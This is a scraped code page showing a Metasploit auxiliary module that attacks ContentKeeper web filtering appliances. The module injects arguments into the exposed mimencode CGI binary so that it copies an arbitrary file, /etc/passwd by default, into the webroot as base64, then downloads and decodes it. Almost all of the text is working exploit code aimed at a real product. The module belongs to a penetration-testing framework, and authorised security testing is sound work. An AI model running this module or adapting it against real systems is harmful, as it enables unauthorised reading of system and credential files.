Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/http/contentkeeper_fileaccess.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient7include Msf::Auxiliary::Scanner89def initialize10super(11'Name' => 'ContentKeeper Web Appliance mimencode File Access',12'Description' => %q{13This module abuses the 'mimencode' binary present within14ContentKeeper Web filtering appliances to retrieve arbitrary15files outside of the webroot.16},17'References' => [18[ 'OSVDB', '54551' ],19[ 'URL', 'http://www.aushack.com/200904-contentkeeper.txt' ],20],21'Author' => [ 'aushack' ],22'License' => MSF_LICENSE)2324register_options(25[26OptString.new('FILE', [ true, 'The file to traverse for', '/etc/passwd']),27OptString.new('URL', [ true, 'The path to mimencode', '/cgi-bin/ck/mimencode']),28]29)30end3132def run_host(_ip)33tmpfile = Rex::Text.rand_text_alphanumeric(20) # Store the base64 encoded traversal data in a hard-to-brute filename, just in case.3435print_status("Attempting to connect to #{rhost}:#{rport}")36res = send_request_raw(37{38'method' => 'POST',39'uri' => normalize_uri(datastore['URL']) + '?-o+' + '/home/httpd/html/' + tmpfile + '+' + datastore['FILE']40}, 2541)4243if (res && (res.code == 500))4445print_good("Request appears successful on #{rhost}:#{rport}! Response: #{res.code}")4647file = send_request_raw(48{49'method' => 'GET',50'uri' => '/' + tmpfile51}, 2552)5354if (file && (file.code == 200))55print_status("Request for #{datastore['FILE']} appears to have worked on #{rhost}:#{rport}! Response: #{file.code}\r\n#{Rex::Text.decode_base64(file.body)}")56elsif (file && file.code)57print_error("Attempt returned HTTP error #{res.code} on #{rhost}:#{rport} Response: \r\n#{res.body}")58end59elsif (res && res.code)60print_error("Attempt returned HTTP error #{res.code} on #{rhost}:#{rport} Response: \r\n#{res.body}")61end62rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout63rescue ::Timeout::Error, ::Errno::EPIPE64end65end666768